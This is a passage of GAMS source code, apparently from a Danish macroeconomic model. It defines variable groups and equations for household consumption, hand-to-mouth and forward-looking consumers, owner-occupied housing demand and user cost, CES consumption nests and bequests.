vBoligUdgiftHtM[a_,t]$(t.val > 2015) "Netto udgifter til køb/salg/forbrug af bolig for hand-to-mouth husholdninger."
vBoligUdgiftArv[t]$(t.val > 2015) "Netto udgifter til køb/salg/forbrug af bolig gående til arv."
vHhNFErest[a_,t]$(a0t100[a_] or (aTot[a_] and t.val > 2015)) "Kapitaloverførsler, direkte investeringer mv., som bliver residualt aldersfordelt."
jvHhNFErest[a_,t]$(aTot[a_] and t.val > 2015) "Justeringsled til at få kalibreret til aldersfordelte formueændringer historisk."
vBoernFraHh[a,t]$(a0t17[a] and t.val > 2015) "Finansielle nettooverførsler fra forældre modtaget af børn i alder a."
vHhTilBoern[a_,t]$((aTot[a_] or a18t100[a_]) and t.val > 2015) "Finansielle nettooverførsler til børn givet af forældre i alder a."
vBolig[a_,t]$((a18t100[a_] or atot[a_]) and t.val > 2015) "Husholdningernes boligformue."
vBoligHtM[a_,t]$(a18t100[a_] or atot[a_]) "Hånd-til-mund husholdningernes boligformue."
vKBolig[t] "Værdi af kapitalmængde af ejerboliger."
vIBolig[t] "Værdi af ejerbolig-investeringer."
vHhInvestx[a_,t]$(atot[a_]) "Husholdningernes direkte investeringer ekskl. bolig - imputeret."
vSelvstKapInd[a_,t]$(atot[a_]) "Selvstændiges kapitalindkomst - imputeret."
vArvKorrektion[a_,t]$((tx0[t] and t.val > 2015) and (a0t100[a_] or aTot[a_])) "Arv som tildeles afdødes kohorte for at korregerer for selektionseffekt (formue og døds-sandsynlighed er mod-korreleret)."
;
$GROUP G_consumers_endo
G_consumers_prices
G_consumers_quantities
G_consumers_values
rDisk[a,t]$(t.val > 2015) "De rationelle forbrugeres aldersafhængige diskonterings-rate."
rKLeje2Bolig[t] "Forholdet mellem qKbolig og qKlejebolig."
rvCLejeBolig[a_,t]$(aTot[a_] and t.val > 2015) "Andel af samlet lejeboligmasse i basisåret."
fHh[a,t]$(t.val > 2015) "Husholdningens størrelse (1 + antal børn pr. voksen med alderen a) som forbrug korrigeres med."
uBolig[a,t]$(t.val > 2015) "Nytteparameter som styrer de fremadskuende forbrugernes bolig-efterspørgsel."
uBoligHtM[a,t]$(t.val > 2015) "Nytteparameter som styrer hand-to-mouth forbrugernes bolig-efterspørgsel."
fBoligUdgift[a,t]$(a.val >= 18 and t.val > 2015) "Hjælpevariabel til beregning af udgifter til ejerbolig."
mUBolig[a,t]$(a18t100[a] and t.val > 2015) "Marginal nytte af boligkapital."
qK[k,s_,t]$(d1K[k,s_,t] and sameas[s_,'bol'])
dqIBoligInstOmk[t] "Installationsomkostninger for boligkapital i nybyggeri differentieret mht. investeringer."
mUC[a,t]$(t.val > 2015) "Marginal utility of consumption."
EmUC[a,t]$(t.val > 2015) "Expected marginal utility of consumption."
uC[c_,t] "CES skalaparametre i det private forbrugs-nest."
fMigration[a_,t]$(t.val > 2015 or (atot[a_] and t.val > 1991)) "Korrektion for migrationer (= 1/(1+migrationsrate) eftersom formue deles med ind- og udvandrere)."
uBoernFraHh[a,t]$(a0t17[a] and t.val > 2015) "Parameter for børns formue relativ til en gennemsnitsperson. Bestemmer vBoernFraHh."
dArv[a_,t]$(t.val > 2015) "Arvefunktion differentieret med hensyn til bolig."
dFormue[a_,t]$(t.val > 2015) "Formue-nytte differentieret med hensyn til bolig."
jvHhx[a_,t]$(aTot[a_] and t.val > 2015) "Fejl-led."
-qC[c_,t]$(sameas[c_,'cBol'])
-qLand[t]
-qKLejeBolig[t]
;
$GROUP G_consumers_endo G_consumers_endo$(tx0[t]); # Restrict endo group to tx0[t]
$GROUP G_consumers_exogenous_forecast
nArvinger[a,t] "Sum af antal arvinger sammenvejet efter rArv."
rBoern[a,t] "Andel af det samlede antal under 18-årige som en voksen med alderen a har ansvar for."
qLand[t]
rOverlev[a_,t] "Overlevelsesrate."
ErOverlev[a,t] "Forventet overlevelsesrate - afviger fra den faktiske overlevelsesrate for 100 årige."
rBoligPrem[t] "Risikopræmie for boliger."
# Forecast as zero
jfEpC[t] "J-led."
jvHhx[a_,t]$(a[a_])
jvHhNFErest$(aTot[a_])
;
$GROUP G_consumers_ARIMA_forecast
uC0[c_,t] "Justeringsled til CES-skalaparameter i private forbrugs-nests."
fuCnest[cNest,t] "Total faktor CES-skalaparametre i privat forbrugs-nests."
rKLeje2Bolig # Endogen i stødforløb
rBilAfskr[t] "Afskrivningsrate for køretøjer i husholdningerne."
rHhInvestx[t] "Husholdningernes direkte investeringer ekskl. bolig ift. direkte og indirekte beholdning af indl. aktier - imputeret."
;
$GROUP G_consumers_other
# Opdeling af adlersfordelte parametre i tids- og aldersfordelte elementer
rDisk_t[t] "Tids-afhængigt led i rDisk."
rDisk_a[a,t] "Alders-specifikt led i rDisk."
uBolig_a[a,t] "Alders-specifikt led i uBolig."
uBolig_t[t] "Tids-afhængigt led i uBolig."
uBoligHtM_a[a,t] "Alders-specifikt led i uBoligHtM."
uBoligHtM_t[t] "Tids-afhængigt led i uBoligHtM."
uBoligHtM_match "led i uBoligHtM."
uBoernFraHh_t[t] "Tids-afhængigt led i uBoernFraHh."
uBoernFraHh_a[a,t] "Alders-specifikt led i uBoernFraHh."
# Non-durable consumption
eHh "Invers af intertemporal substitutionselasticitet."
rRef "Grad af reference forbrug."
rRef_2016 "Grad af reference forbrug i 2016 (midlertidig løsning)"
rRefHtM "Grad af reference forbrug hos HtM forbrugere."
rRefBolig "Grad af reference forbrug for boliger."
rHtM "Andel af Hand-to-Mouth forbrugere."
# Housing
eBolig "Substitutionselasticitet mellem boligkapital og land."
uIBoligInstOmk "Parameter for installationsomkostninger for boligkapital i nybyggeri."
fIBoligInstOmk[t] "Vækstfaktor i boliginvesteringer som giver nul installationsomkostningerne."
fBoligGevinst "Faktor som boliggevinster skaleres med."
EpLandInfl[t] "Forventning til landprisinflation i baseline - bibeholdes af ikke fremadskuende agenter."
EpBoligInfl[t] "Forventning til boligprisinflation i baseline - bibeholdes af ikke fremadskuende agenter."
# CES demand
eC[c_] "Substitutionselasticitet i privat forbrugs-nests."
uLand[t] "Skalaparameter i CES efterspørgsel efter land."
uIBolig[t] "Skalaparameter i CES efterspørgsel efter boligkapital."
# Bequests
rArv[a,t] "Andel af den samlede arv som tilfalder hver arving med alderen a."
rArv_a[a,aa] "Andel af arven fra aldersgruppe a der tilfalder hver arving med alderen aa i basisåret."
uFormue[a,t] "Nytte af formue parameter 0."
cFormue[a,t] "Nytte af formue parameter 1."
rMaxRealkred[t] "Andel af bolig som anses for likvid ift. nytte af likvid formue."
uArv[a,t] "Arve-nytteparameter 0."
cArv[a,t] "Arve-nytteparameter 1."
tArv[t] "Arveafgift (implicit, gennemsnit)"
rSelvstKapInd[t] "Selvstændiges kapitalindkomst ift. direkte og indirekte beholdning af indl. aktier - imputeret."
eNytte "Substitutionselasticitet mellem bolig- og andet forbrug."
rArvKorrektion[a] "Gennemsnitlig formue personer, som dør, relativt til en gennemsnitsperson i samme alder."
;
$ENDIF
# ======================================================================================================================
# Equations
# ======================================================================================================================
$IF %stage% == "equations":
$BLOCK B_consumers
# ------------------------------------------------------------------------------------------------------------------
# Aggregeret budgetrestriktion (vægtet gennemsnit af fremadskuende og hånd-til-mund husholdninger)
# ------------------------------------------------------------------------------------------------------------------
E_vHhx[a,t]$(tx0[t] and a0t100[a] and t.val > 2015)..
vHhx[a,t] =E= (vHhx[a-1,t-1]/fv + vHhxAfk[a,t]) * fMigration[a,t]
+ vHhInd[a,t]
- vC_a[a,t] # Ikke-bolig-forbrugsudgift
- vCLejeBolig[a,t] # Lejebolig-forbrugsudgift
- vBoligUdgift[a,t] # Cashflow til ejerbolig inkl. realkreditafbetaling
+ vBoernFraHh[a,t] - vHhTilBoern[a,t] # Overførsler mellem voksne og børn - findes ikke for HtM-agenter
+ jvHhx[a,t];
# vHhx[aTot,t] kan opskrives på samme måde som E_vHhx[a,t] - tre ting er værd at bemærke
# 1) summen af overførsler til og fra børn er 0
# 2) Arv og arvekorrektion er en del af husholdningernes indkomst og bortset fra arv og dødsboskat kommer det fra husholdningerne
# 3) jvHhx[aTot,t] = sum(a, jvHhx[a,t] * nPop[a,t]) - ellers fås en fejlmeddelelse efter kalibrering
E_jvHhx_aTot[t]$(tx0[t] and t.val > 2015)..
vHhx[aTot,t] =E= vHhx[aTot,t-1]/fv + vHhxAfk[aTot,t]
+ vHhInd[aTot,t]
- qC['cIkkeBol',t] * pC['cIkkeBol',t]
- vCLejebolig[aTot,t]
- vBoligUdgift[aTot,t]
- (vArv[aTot,t] + vArvKorrektion[aTot,t] + vtDoedsbo[aTot,t] - vPensArv['Pens',aTot,t] + vtKapPensArv[aTot,t])
+ jvHhx[aTot,t];
# Aggregat dannet ud fra vhh['NetFin',aTot,t] som er dannet ud fra vHhx[a,t]
E_vHhx_aTot[t]$(tx0[t]).. vHhx[aTot,t] =E= vHh['NetFin',aTot,t] - vHh['Pens',aTot,t] + vHh['RealKred',aTot,t];
# Aldersfordelt vtHh, dog er vtEjd, vtDoedsbo, vtPensArv og vtPAL fjernet, da de fratrækkes i vBoligUdgift, vArv og vPensUdb
E_vtHhx[a,t]$(tx0[t] and a0t100[a] and t.val > 2015)..
vtHhx[a,t] =E= vtBund[a,t]
+ vtTop[a,t]
+ vtKommune[a,t]
+ vtAktie[a,t]
+ vtVirksomhed[a,t]
+ vtHhAM[a,t]
+ vtPersRest[a,t]
+ vtHhVaegt[a,t]
+ utMedie[t] * vSatsIndeks[t] * a18t100[a]
+ vtArv[a,t]
+ vBidrag[a,t]
+ vtKirke[a,t]
+ vtLukning[a,t]
+ (vtKildeRest[t] + vtDirekteRest[t]) / nPop[aTot,t];
E_vtHhx_tot[t]$(tx0[t])..
vtHhx[aTot,t] =E= vtBund[aTot,t]
+ vtTop[aTot,t]
+ vtKommune[aTot,t]
+ vtAktie[aTot,t]
+ vtVirksomhed[aTot,t]
+ vtHhAM[aTot,t]
+ (vtPersRest[aTot,t] - vtKapPensArv[aTot,t])
+ vtHhVaegt[aTot,t]
+ vtMedie[t]
+ vtArv[aTot,t]
+ vBidrag[aTot,t]
+ vtKirke[aTot,t]
+ vtLukning[aTot,t]
+ vtKildeRest[t] + vtDirekteRest[t];
# Samlet post for ejerbolig som fratrækkes i budgetrestriktion. Bemærk at rentefradrag fra realkredit indgår i vtHhx, ikke i vBoligUdgift.
E_vBoligUdgift[a,t]$(tx0[t] and t.val > 2015)..
vBoligUdgift[a,t] =E= (1-rRealKred2Bolig[a,t]) * vBolig[a,t] + fBoligUdgift[a,t] * vBolig[a-1,t-1]/fv * fMigration[a,t];
E_fBoligUdgift[a,t]$(18 <= a.val and tx0[t] and t.val > 2015)..
fBoligUdgift[a,t] =E= (1+rHhAfk['RealKred',t]) * rRealKred2Bolig[a-1,t-1] # Realkredit fra sidste periode + renter
+ tEjd[t] # Ejendomsskat
+ rBoligOmkRest[t] # Resterende udgifter
+ vIBolig[t] / (vBolig[aTot,t-1]/fv) # Kapitalinvesteringer
- vBolig[aTot,t] / (vBolig[aTot,t-1]/fv); # Kapitalgevinster (plus evt. profit fra entreprenør-agenten, som opstår pga. installationsomkostninger i sammensætning af land og bygningskapital)
E_vBoligUdgift_tot[t]$(tx0[t] and t.val > 2015)..
vBoligUdgift[aTot,t] =E= sum(a, vBoligUdgift[a,t] * nPop[a,t]) + vBoligUdgiftArv[t];
E_vBoligUdgiftArv[t]$(tx0[t]).. vBoligUdgiftArv[t] =E= sum(a, (1-rOverlev[a-1,t-1]) * nPop[a-1,t-1] * fBoligUdgift[a,t] * vBolig[a-1,t-1]/fv);
E_vHhNFErest[a,t]$(tx0[t] and a0t100[a] and t.val > 2015)..
vHhNFErest[a,t] =E= ( vOffTilHh[t] - vOffFraHh[t]
- vHhInvestx[aTot,t] + vSelvstKapInd[aTot,t] + vHhFraVirk[t] - vhhTilUdl[t])
* (vWHh[a,t] * nLHh[a,t] / nPop[a,t] + vHhOvf[a,t]) / (vWHh[aTot,t] + vOvf['hh',t])
+ jvHhNFErest[a,t];
E_vHhNFErest_tot[t]$(tx0[t] and t.val > 2015)..
vHhNFErest[aTot,t] =E= vOffTilHh[t] - vOffFraHh[t]
- vHhInvestx[aTot,t] + vSelvstKapInd[aTot,t]
+ vHhFraVirk[t]
- vhhTilUdl[t]
+ jvHhNFErest[aTot,t] ;
# Total residual foreign transfer to households
E_jvHhNFErest_tot[t]$(tx0[t] and t.val > 2015).. jvHhNFErest[aTot,t] =E= sum(a, jvHhNFErest[a,t] * nPop[a,t]);
E_vHhInvestx_tot[t]$(tx0[t])..
vHhInvestx[aTot,t] =E= rHhInvestx[t] * vI_s[iTot,spTot,t];
E_vSelvstKapInd_tot[t]$(tx0[t])..
vSelvstKapInd[aTot,t] =E= rSelvstKapInd[t] * vEBITDA[sTot,t];
# Lejebolig ud fra eksogent kapitalapparat
E_vCLejeBolig_tot[t]$(tx0[t]).. vCLejebolig[aTot,t] =E= pC['cBol',t] * qKLejeBolig[t-1] / qK['iB','bol',t-1] * qC['cBol',t];
E_vCLejeBolig[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
vCLejeBolig[a,t] / vCLejeBolig[aTot,t] =E= rvCLejeBolig[a,t] / rvCLejeBolig[aTot,t];
E_rvCLejeBolig_tot[t]$(tx0[t] and t.val > 2015).. rvCLejeBolig[aTot,t] =E= sum(aa, rvCLejeBolig[aa,t] * nPop[aa,t]);
# ------------------------------------------------------------------------------------------------------------------
# Individual non-housing consumption decision by age
# ------------------------------------------------------------------------------------------------------------------
# Rational forward-looking consumers
E_qCR[a,t]$(a18t100[a] and tx0E[t] and t.val > 2015)..
mUC[a,t] =E= (ErOverlev[a,t] * (1 + mrHhxAfk[t+1]) / EpC[t] * EmUC[a,t]
+ ErOverlev[a,t] * dFormue[a,t]
+ (1-ErOverlev[a,t]) * dArv[a,t]) * pC['cIkkeBol',t] / (1+rDisk[a,t]);
E_qCR_tEnd[a,t]$(a18t100[a] and tEnd[t])..
mUC[a,t] =E= (ErOverlev[a,t] * (1 + mrHhxAfk[t]) / EpC[t] * EmUC[a,t]
+ ErOverlev[a,t] * dFormue[a,t]
+ (1-ErOverlev[a,t]) * dArv[a,t]) * pC['cIkkeBol',t] / (1+rDisk[a,t]);
E_qCR_tot[t]$(tx0[t] and t.val > 2015)..
qCR[aTot,t] =E= sum(a, (1-rHtM) * qCR[a,t] * nPop[a,t]) ;
E_qCRxRef[a,t]$(tx0[t] and a18t100[a] and a.val <> 18 and t.val > 2016)..
qCRxRef[a,t] =E= qCR[a,t] / fHh[a,t] - rRef * qCR[a-1,t-1]/fq / fHh[a-1,t-1];
E_qCRxRef_a18[a,t]$(tx0[t] and a.val = 18 and t.val > 2016)..
qCRxRef[a,t] =E= qCR[a,t] - rRef * qCR[a,t]/fq;
E_qCRxRef_2016[a,t]$(tx0[t] and a18t100[a] and a.val <> 18 and t.val = 2016)..
qCRxRef[a,t] =E= qCR[a,t] / fHh[a,t] - rRef_2016 * qCR[a-1,t-1]/fq / fHh[a-1,t-1];
E_qCRxRef_a18_2016[a,t]$(tx0[t] and a.val = 18 and t.val = 2016)..
qCRxRef[a,t] =E= qCR[a,t] - rRef_2016 * qCR[a,t]/fq;
E_mUC[a,t]$(tx0[t] and a18t100[a] and t.val > 2015)..
mUC[a,t] =E= qNytte[a,t]**(-eHh) * (qNytte[a,t] * (1-uBolig[a,t]) / qCRxRef[a,t])**(1/eNytte);
E_qNytte[a,t]$(tx0[t] and a18t100[a] and t.val > 2015)..
qNytte[a,t] =E= (
(1-uBolig[a,t])**(1/eNytte) * qCRxRef[a,t]**((eNytte-1)/eNytte)
+ uBolig[a,t]**(1/eNytte) * qBoligRxRef[a,t]**((eNytte-1)/eNytte)
)**(eNytte/(eNytte-1));
# Forventet marginal nytte af forbrug
E_EmUC[a,t]$(18 <= a.val and a.val < 100 and tx0E[t] and t.val > 2015)..
EmUC[a,t] =E= (qNytte[a+1,t+1]*fq)**(-eHh) * ((1-uBolig[a+1,t+1]) * qNytte[a+1,t+1] / qCRxRef[a+1,t+1])**(1/eNytte);
E_EmUC_tEnd[a,t]$(18 <= a.val and a.val < 100 and tEnd[t])..
EmUC[a,t] =E= (qNytte[a+1,t]*fq)**(-eHh) * ((1-uBolig[a+1,t]) * qNytte[a+1,t] / qCRxRef[a+1,t])**(1/eNytte);
E_EmUC_aEnd[a,t]$(a.val = 100 and tx0E[t] and t.val > 2015)..
EmUC[a,t] =E= (qNytte[a,t+1]*fq)**(-eHh) * ((1-uBolig[a,t+1]) * qNytte[a,t+1] / qCRxRef[a,t+1])**(1/eNytte);
E_EmUC_aEnd_tEnd[a,t]$(a.val = 100 and tEnd[t])..
EmUC[a,t] =E= (qNytte[a,t]*fq)**(-eHh) * ((1-uBolig[a,t]) * qNytte[a,t] / qCRxRef[a,t])**(1/eNytte);
# 15-17 er aktive på arbejdsmarkedet, men har ikke forbrug.
# Marginalnytte af forbrug kan dog påvirke arbejdsmarkedsbeslutning og antages lig 18-åriges.
E_mUC_unge[a,t]$(tx0[t] and 15 <= a.val and a.val < 18 and t.val > 2015)..
mUC[a,t] =E= mUC['18',t];
E_EpC[t]$(tx0E[t] and t.val > 2015)..
EpC[t] =E= pC['cIkkeBol',t+1]*fp * (1 + jfEpC[t]);
E_EpC_tEnd[t]$(tEnd[t])..
EpC[t] =E= pC['cIkkeBol',t] * pC['cIkkeBol',t]/(pC['cIkkeBol',t-1]/fp) * (1 + jfEpC[t]);
# ------------------------------------------------------------------------------------------------------------------
# Hand-to-mouth consumers
# ------------------------------------------------------------------------------------------------------------------
# Budgetbegrænsning
E_qCHtM[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
pC['cIkkeBol',t] * qCHtM[a,t] + vCLejeBolig[a,t] + vBoligUdgiftHtM[a,t] # Samlet forbrug
=E=
vHhInd[a,t]
- (vPensUdb['Pens',a,t] - vPensIndb['Pens',a,t]) + vPensUdb['PensX',a,t] - vPensIndb['PensX',a,t] # Hånd-til-mund forbrugere har ikke kapital og alders-pension
+ vtAktie[a,t] # Aktieafkast betales alene af rationelle husholdninger
+ vtKapPens[a,t] # HtM har ikke kapitalpension og betaler ikke afgift
- vArvKorrektion[a,t] # Øget formue fra selektionseffekt antages ikke at gå til hånd-til-mund forbrugere
;
E_qCHtM_tot[t]$(tx0[t] and t.val > 2015)..
qCHtM[atot,t] =E= sum(a, rHtM * qCHtM[a,t] * nPop[a,t]);
E_qCHtMxRef[a,t]$(tx0[t] and a18t100[a] and a.val <> 18 and t.val > 2015)..
qCHtMxRef[a,t] =E= qCHtM[a,t] / fHh[a,t] - rRefHtM * qCHtM[a-1,t-1]/fq / fHh[a-1,t-1];
E_qCHtMxRef_a18[a,t]$(tx0[t] and a.val = 18 and t.val > 2015)..
qCHtMxRef[a,t] =E= qCHtM[a,t] - rRefHtM * qCHtM[a,t]/fq;
E_qBoligHtMxRef[a,t]$(a18t100[a] and a.val <> 18 and tx0[t] and t.val > 2015)..
qBoligHtMxRef[a,t] =E= qBoligHtM[a,t] / fHh[a,t] - rRefBolig * rOverlev[a-1,t-1] * qBoligHtM[a-1,t-1]/fq / fHh[a-1,t-1];
E_qBoligHtMxRef_a18[a,t]$(a.val = 18 and tx0[t] and t.val > 2015)..
qBoligHtMxRef[a,t] =E= qBoligHtM[a,t] - rRefBolig * rOverlev[a-1,t-1] * qBoligHtM[a,t]/fq;
E_qBoligHtM[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
qBoligHtMxRef[a,t] =E= uBoligHtM[a,t] * qCHtMxRef[a,t] * (pBolig[t] / pC['cIkkeBol',t])**(-eNytte);
E_vBoligUdgiftHtM[a,t]$(tx0[t] and t.val > 2015)..
vBoligUdgiftHtM[a,t] =E= (1-rRealKred2Bolig[a,t]) * vBoligHtM[a,t]
+ fBoligUdgift[a,t] * vBoligHtM[a-1,t-1]/fv * fMigration[a,t];
E_vBoligUdgiftHtM_tot[t]$(tx0[t] and t.val > 2015)..
vBoligUdgiftHtM[aTot,t] =E= rHtM * sum(a, vBoligUdgiftHtM[a,t] * nPop[a,t]);
E_vBoligHtM[a,t]$(a18t100[a] and tx0[t]).. vBoligHtM[a,t] =E= pBolig[t] * qBoligHtM[a,t];
E_vBoligHtM_tot[t]$(tx0[t]).. vBoligHtM[aTot,t] =E= pBolig[t] * qBoligHtM[aTot,t];
# ------------------------------------------------------------------------------------------------------------------
# Coupling of hand-to-mouth and forward looking consumers
# ------------------------------------------------------------------------------------------------------------------
# Ikke-bolig-forbrug fordelt på alder som disaggregeres i CES-nest
E_qC_a[a,t]$(a18t100[a] and tx0[t] and t.val > 2015).. qC_a[a,t] =E= (1-rHtM) * qCR[a,t] + rHtM * qCHtM[a,t];
E_vC_a[a,t]$(a18t100[a] and tx0[t] and t.val > 2015).. vC_a[a,t] =E= pC['cIkkeBol',t] * qC_a[a,t];
# qBolig er et CES-aggregat af land og bygningskapital
E_qBolig[a,t]$(a18t100[a] and tx0[t] and t.val > 2015).. qBolig[a,t] =E= (1-rHtM) * qBoligR[a,t] + rHtM * qBoligHtM[a,t];
E_vBolig[a,t]$(a18t100[a] and tx0[t] and t.val > 2015).. vBolig[a,t] =E= pBolig[t] * qBolig[a,t];
# Aggregater
E_qBoligR_tot[t]$(tx0[t] and t.val > 2015).. qBoligR[aTot,t] =E= sum(a, (1-rHtM) * qBoligR[a,t] * nPop[a,t]);
E_qBoligHtM_tot[t]$(tx0[t] and t.val > 2015).. qBoligHtM[aTot,t] =E= sum(a, rHtM * qBoligHtM[a,t] * nPop[a,t]);
E_qBolig_tot[t]$(tx0[t] and t.val > 2015).. qBolig[aTot,t] =E= qBoligR[aTot,t] + qBoligHtM[aTot,t];
E_vBolig_tot[t]$(tx0[t] and t.val > 2015).. vBolig[aTot,t] =E= sum(a, vBolig[a,t] * nPop[a,t]);
# ------------------------------------------------------------------------------------------------------------------
# Coupling of consumption by age and CES tree
# ------------------------------------------------------------------------------------------------------------------
E_qC_cIkkeBol[t]$(tx0[t] and t.val > 2015).. qC['cIkkeBol',t] =E= sum(a, qC_a[a,t] * nPop[a,t]);
# ------------------------------------------------------------------------------------------------------------------
# CES-efterspørgsel efter (ikke-bolig) forbrug
# ------------------------------------------------------------------------------------------------------------------
# Budget constraint
E_pC_nests[cNest,t]$(tx0[t]).. pC[cNest,t] * qC[cNest,t] =E= sum(c$c_2c[cNest,c], pC[c,t] * qC[c,t]);
# FOC
E_qC[c_,cNest,t]$(tx0[t] and cNest2c_[cNest,c_])..
qC[c_,t] =E= uC[c_,t] * qC[cNest,t] * (pC[cNest,t] / pC[c_,t])**eC(cNest);
# Balancing mechanism for CES parameters
E_uC[c_,cNest,t]$(tx0[t] and cNest2c_[cNest,c_])..
uC[c_,t] =E= fuCnest[cNest,t] * uC0[c_,t] / sum(cc_$cNest2c_[cNest,cc_], uC0[cc_,t]);
# ------------------------------------------------------------------------------------------------------------------
# Bolig-efterspørgsel for fremadskuende husholdninger
# ------------------------------------------------------------------------------------------------------------------
# Nyttefunktion for fremadskuende husholdninger
E_qBoligR[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
mUBolig[a,t]**eNytte * qBoligRxRef[a,t] =E= qNytte[a,t]**(-eHh*eNytte) * qNytte[a,t] * uBolig[a,t] ;
E_qBoligRxRef[a,t]$(a18t100[a] and a.val <> 18 and tx0[t] and t.val > 2015)..
qBoligRxRef[a,t] =E= qBoligR[a,t] / fHh[a,t] - rRefBolig * rOverlev[a-1,t-1] * qBoligR[a-1,t-1]/fq / fHh[a-1,t-1];
E_qBoligRxRef_a18[a,t]$(a.val = 18 and tx0[t] and t.val > 2015)..
qBoligRxRef[a,t] =E= qBoligR[a,t] - rRefBolig * rOverlev[a-1,t-1] * qBoligR[a,t]/fq;
# Usercost
E_pBoligUC[a,t]$(a18t100[a] and tx0E[t] and t.val>2015) ..
pBoligUC[a,t] =E= ( (1-rRealKred2Bolig[a,t]) * mrHhxAfk[t+1] # Offerrente
+ rRealKred2Bolig[a,t] * mrRealKredAfk[t+1] # Marginal rente efter skat
+ tEjd[t+1] # Ejendomsskat
+ rAfskr['iB','bol',t+1] # Afskrivninger
+ rBoligOmkRest[t+1] # Resterende udgifter
- EpLand[t] * qLandSalg[t+1]*fq / vBolig[atot,t] # Forventet værdi af landsalg i næste periode
- (1-rAfskr['iB','bol',t+1]) * (EpBolig[t] - pBolig[t]) / pBolig[t] # Forventet kapital-gevinst
+ rBoligPrem[t+1] # Risikopræmie
) * pBolig[t] / (1+mrHhxAfk[t+1]);
E_EpLand[t]$(tx0E[t] and t.val>2015) ..
EpLand[t] =E= (1-fBoligGevinst) * pLand[t] * (1 + EpLandInfl[t]) + fBoligGevinst * pLand[t+1]*fp;
E_EpBolig[t]$(tx0E[t] and t.val>2015)..
EpBolig[t] =E= (1-fBoligGevinst) * pBolig[t] * (1 + EpBoligInfl[t]) + fBoligGevinst * pBolig[t+1]*fp;
E_qLandSalg[t]$(tx0[t])..
qLandSalg[t] =E= qLand[t] - (1 - rAfskr['iB','bol',t]) * qLand[t-1]/fq;
# Merging of FOC for housing with FOC for net assets
E_mUBolig[a,t]$(a18t100[a] and tx0E[t] and t.val > 2015)..
mUBolig[a,t] =E= EmUC[a,t] * ErOverlev[a,t] / (1+rDisk[a,t]) * pBoligUC[a,t] * (1+mrHhxAfk[t+1]) / EpC[t];
E_mUBolig_tEnd[a,t]$(a18t100[a] and tEnd[t])..
mUBolig[a,t] / mUC[a,t] =E= mUBolig[a,t-1] / mUC[a,t-1];
# ------------------------------------------------------------------------------------------------------------------
# CES-efterspørgsel efter bolig-kapital og land
# ------------------------------------------------------------------------------------------------------------------
# Produktion af ejerboliger er sammensætning af land og boligkapital-investeringer
E_qYBolig[t]$(tx0[t])..
qYBolig[t] =E= qBolig[aTot,t] - (1 - rAfskr['iB','bol',t]) * qBolig[aTot,t-1]/fq + qIBoligInstOmk[t];
E_qIBoligInstOmk[t]$(tx0[t])..
qIBoligInstOmk[t] =E= uIBoligInstOmk/2 * sqr(qIBolig[t] / (qIBolig[t-1]/fq) - fIBoligInstOmk[t]) * qIBolig[t-1]/fq;
E_dqIBoligInstOmk[t]$(tx0E[t])..
dqIBoligInstOmk[t] =E=
uIBoligInstOmk * (
qIBolig[t] / (qIBolig[t-1]/fq) - fIBoligInstOmk[t]
+ 1/(1+rVirkDisk['bol',t+1])/2 * sqr(qIBolig[t+1]*fq / qIBolig[t] - fIBoligInstOmk[t+1])
- 1/(1+rVirkDisk['bol',t+1]) * (qIBolig[t+1]*fq / qIBolig[t] - fIBoligInstOmk[t+1]) * qIBolig[t+1]*fq / qIBolig[t]
);
E_dqIBoligInstOmk_tEnd[t]$(tEnd[t])..
dqIBoligInstOmk[t] =E= uIBoligInstOmk * (qIBolig[t] / (qIBolig[t-1]/fq) - fIBoligInstOmk[t]);
E_qIBolig[t]$(tx0[t])..
qIBolig[t] =E= uIBolig[t] * qYBolig[t] * (pBolig[t] / (pI_s['iB','bol',t] + dqIBoligInstOmk[t] * pBolig[t]))**eBolig;
E_pLand[t]$(tx0[t])..
qLandSalg[t] =E= uLand[t] * qYBolig[t] * (pBolig[t] / pLand[t])**eBolig;
E_pBolig[t]$(tx0[t])..
pBolig[t] * qYBolig[t] =E= pLand[t] * qLandSalg[t]
+ (pI_s['iB','bol',t] + dqIBoligInstOmk[t] * pBolig[t])
* (qKBolig[t] - (1 - rAfskr['iB','bol',t]) * qKBolig[t-1]/fq);
E_vIBolig[t]$(tx0[t]).. vIBolig[t] =E= pI_s['iB','bol',t] * qIBolig[t];
E_qKBolig[t]$(tx0[t])..
qKBolig[t] =E= (1-rAfskr['iB','bol',t]) * qKBolig[t-1]/fq + qIBolig[t];
E_vKBolig[t]$(tx0[t]).. vKBolig[t] =E= pI_s['iB','bol',t] * qKBolig[t];
E_qK_bol[t]$(tx0[t]).. qK['iB','bol',t] =E= qKBolig[t] + qKLejeBolig[t];
E_rKLeje2Bolig[t]$(tx0[t]).. rKLeje2Bolig[t] =E= qKLejeBolig[t] / qKBolig[t];
# ------------------------------------------------------------------------------------------------------------------
# Nytte af arv
# ------------------------------------------------------------------------------------------------------------------
# Arv videregivet pr kohorte
E_vArvGivet[a,t]$(tx0[t] and t.val > 2015)..
vArvGivet[a,t] =E= (vHhx[a-1,t-1]/fv + vHhxAfk[a,t] - fBoligUdgift[a,t] * vBolig[a-1,t-1]/fv) * rArvKorrektion[a]
- vtDoedsbo[a,t] + vPensArv['pens',a,t] - vtKapPensArv[a,t];
E_vArvKorrektion[a,t]$(tx0[t] and a0t100[a] and t.val > 2015)..
vArvKorrektion[a,t] =E= (vHhx[a-1,t-1]/fv + vHhxAfk[a,t] - fBoligUdgift[a,t] * vBolig[a-1,t-1]/fv)
* (1-rArvKorrektion[a]) * (1-rOverlev[a-1,t-1]) * nPop[a-1,t-1] / nPop[a,t];
E_vArv_aTot[t]$(tx0[t] and t.val > 2015).. vArv[aTot,t] =E= sum(a, vArvGivet[a,t] * (1-rOverlev[a-1,t-1]) * nPop[a-1,t-1]);
E_vArvKorrektion_aTot[t]$(tx0[t] and t.val > 2015)..
vArvKorrektion[aTot,t] =E= sum(a, vArvKorrektion[a,t] * nPop[a,t]);
# Arv modtaget
E_vArv[a,t]$(tx0[t] and t.val > 2015).. vArv[a,t] =E= rArv[a,t] * vArv[aTot,t] / nPop[aTot,t];
# Hjælpevariabel som skal være strengt positiv
E_qArvBase[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
qArvBase[a,t] =E= (1-tArv[t+1]) * (vHhx[a,t]/(1-rHtM)
+ pBolig[t] * qBoligR[a,t] * (1 - rRealKred2Bolig[a,t])
